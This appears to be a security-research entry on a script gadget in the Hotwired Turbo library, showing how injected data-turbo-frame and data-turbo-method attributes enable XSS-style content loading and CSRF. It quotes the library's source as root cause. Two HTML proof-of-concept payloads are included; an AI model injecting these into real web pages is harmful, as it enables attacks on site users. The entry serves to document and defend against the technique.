The speed of a single-page web application without having to write any JavaScript.
The turbo library uses the data-turbo-frame
attribute to specify an iframe to load the response into. For this to work there is several restrictions:
<a>
’s href
attribute must be same origin with the current window (source).unvisitableExtensions
like: .7z
, .aac
… The full list can be found here: https://github.com/hotwired/turbo/blob/71a769167eb64fafed48fe45ed175a54738216af/src/core/config/drive.js./^(?:text\/([^\s;,]+\b)?html|application\/xhtml\+xml)\b/
(source).<script type="module" src="https://cdn.jsdelivr.net/npm/@hotwired/[email protected]/app/assets/javascripts/turbo.min.js"></script>
<turbo-frame id="frame">
<turbo-frame id="message">
<p>This content will be replaced.</p>
</turbo-frame>
<!-- user input -->
<a href="https://gmsgadget.com/assets/xss/turbo-frame.html" data-turbo-frame="message">Load Message</a>
While the above example is very limited by the Content-Type restriction, it is possible to uses default turbo data-*
attribute to perform CSRF. For instance, the data-turbo-method
attribute can be used to change the HTTP method of the request.
The full list of available attributes can be found here.
<script type="module" src="https://cdn.jsdelivr.net/npm/@hotwired/[email protected]/app/assets/javascripts/turbo.min.js"></script>
<turbo-frame id="frame">
<turbo-frame id="message">
<p>This content will be replaced.</p>
</turbo-frame>
<!-- user input -->
<a data-turbo-method="PUT" href="https://gmsgadget.com/" data-turbo-frame="message">Load Message</a>
Root Cause
async loadResponse(fetchResponse) {
if (fetchResponse.redirected || (fetchResponse.succeeded && fetchResponse.isHTML)) {
this.sourceURL = fetchResponse.response.url
}
try {
const html = await fetchResponse.responseHTML
if (html) {
const document = parseHTMLDocument(html)
const pageSnapshot = PageSnapshot.fromDocument(document)
if (pageSnapshot.isVisitable) {
await this.#loadFrameResponse(fetchResponse, document)
} else {
await this.#handleUnvisitableFrameResponse(fetchResponse)
}
}
} finally {
this.#shouldMorphFrame = false
this.fetchResponseLoaded = () => Promise.resolve()
}
}